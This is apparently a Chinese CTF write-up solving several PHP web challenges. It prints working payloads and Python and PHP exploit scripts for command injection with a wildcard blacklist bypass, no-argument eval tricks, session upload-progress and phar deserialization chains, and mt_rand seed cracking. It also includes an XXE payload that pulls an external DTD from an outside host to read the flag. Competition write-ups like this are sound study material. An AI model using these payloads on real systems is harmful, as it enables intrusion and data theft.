Pineapple
通过扫描可以发现存在git源码泄露,进一步发现index.php中存在反序列化点:
1 2 3 4 5
| $info = @$_GET['info']; $lyric = @$_GET['lyric']; if(isset($lyric)&&(@file_get_contents($lyric,'r')==="I want to eat pineapple")){ unserialize($info); }
|
及工具类Blog:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class Blog{ public $file="Music"; public function __destruct(){ $blacklist = ["\"", "ls", "curl", "-"];
foreach ($blacklist as $key => $value) { if(stripos($this->file,$value)){ die("Attack!"); } } system("php ./templates/$this->file.php"); } }
|
且提示了flag存在于templates/Secrets.php文件中
显而易见,Blog类system函数的调用中存在命令拼接,而shell中的通配符可以帮助我们绕过waf
所以令 Blog->file = ";/???/???\t./templates/Secrets";
即可
Regex and PHP are the best
1 2 3 4 5 6
| <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); }
|
网上能搜到原题,此处总结一下各种可能能利用的函数
getallheaders()
(在5.5.7之前只存在于apache php模块中)
get_defined_vars()
session_id(session_start())
还存在一个比较刁钻的payload:
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))
can u see the flag
首先通过extract变量覆盖读phpinfo:func=extract&func_0=phpinfo
可以发现php版本为7.0.33
回到变量覆盖,发现实际上无法直接进行反序列化,遂回到phpinfo继续寻找突破口
其实此时可以通过fuzz找出可以接收一个数组作为参数的函数发现session反序列化
1 2 3
| session.serialize_handler = php_serialize session.upload_progress.enabled = On session.upload_progress.cleanup = Off
|
可以发现上述配置项允许我们通过session注入进行反序列化
再次回到变量覆盖,将func_0
覆盖为session_start
。
此时,要进行反序列化还需要更改serialize_handler
,观察php文档发现session_start可以接受一个$opts
参数更改session相关配置。之后就是烦人的套娃了
所以第一关的exploit如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from phpserialize import serialize from requests import session
ses = session() host = 1 class maker_r: class maker_e: class maker_w: class maker_q: class get_flag: get1 = 'get_flag::flag1' protected_get2 = '\\f1a9' q1 = get_flag() private_q2 = None w1 = maker_q() private_w2 = None e1 = maker_w() private_e2 = None r1 = None r2 = maker_e()
payload = serialize(maker_r())
ses.get(host + '/welcome.php', params={ 'func': 'extract', 'func_0': 'session_start' })
ses.post(host + '/welcome.php', params={ 'func': 'extract', 'func_0': 'session_start' }, files={'a': 'b'}, data={ 'PHP_SESSION_UPLOAD_PROGRESS': '|' + payload })
ret = ses.post(host + '/welcome.php', params={ 'func': 'extract', 'func_0': 'session_start' }, data={ 'serialize_handler': 'php', 's': 'something' }).text print(ret)
|
根据第一关的答案,我们能拿到第二关的源码,并且知道了第二关flag的位置。在classes.php中我们发现有两个key,其中admin_key没有给出,而出题人提示两个key的生成方式如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| class Secret { public $maker_key; public $admin_key;
function __construct() { $this->admin_key = $this->gen_secret(); $this->maker_key = $this->gen_secret(10); } function gen_secret($len = 8) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()'; $passwd = ''; for ($i = 0; $i < $len; $i++ ) $passwd .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); return $passwd; } }
|
mt_rand
随机数生成器非密码学安全
可以利用工具(比如php_mt_seed)爆破出seed,得到admin_key = "!XPiScRy"
观察两个key的区别,我们能够发现maker_key只能将已经存在的maker.gif
移动到/var/www/data
目录下,且无法获得生成的文件名,而admin_key不仅可以访问/写入任意文件内容,还能获得生成的文件名
所以这个文件名有什么用呢?不能直接访问(不在web目录下),而我们能控制的能访问到本地文件的只有那个file_get_contents
,这时我们就能联想到phar反序列化了
有一个需要注意的点是file_get_contents的url第一个字符不能为p,此时我们可以通过套娃套一个stream即可,比如压缩流
所以现在要反序列化什么类呢?如果只是要反序列化php自带的类的话那用第一关的反序列化点就行了,没必要再来一个,所以我们的目标缩小到classes中有的类。
这时我们能发现Move类能够调用任意类的任意函数,参数都没有任何限制,极大地扩展了攻击面。后面就随便搞了。
比如可以利用XXE读flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class Move { function __construct() { $d = <<<str <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY % pe SYSTEM "https://files.frankli.site/xxe/xxe.dtd"> %pe; %param1; ]> <foo></foo> &external; str; $this->n = array($d, LIBXML_NOENT); $this->m = "SimpleXMLElement"; $this->k = "!XPiScRy"; } }
$x = new Phar("payload.phar.gif"); $x->startBuffering(); $x->setStub("GIF89a <?php __HALT_COMPILER();?>"); $x->setMetadata(new Move()); $x->addFromString('a', 'b'); $x->stopBuffering();
|
exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests import base64
with open('payload.phar.gif', 'rb') as f: payload = base64.b64encode(f.read()).decode()
def access(n): return requests.post('http://localhost/maker.php', params={ 'who': 'maker', 'do': 'move', 'url': n }, data={'key': '!XPiScRy'})
ret1 = access('data:text/plain;base64,' + payload).text filename = __import__('re').findall('[a-zA-Z0-9]*.gif', ret1)[1] print(access('compress.zlib://phar:///var/www/maker/' + filename).text)
|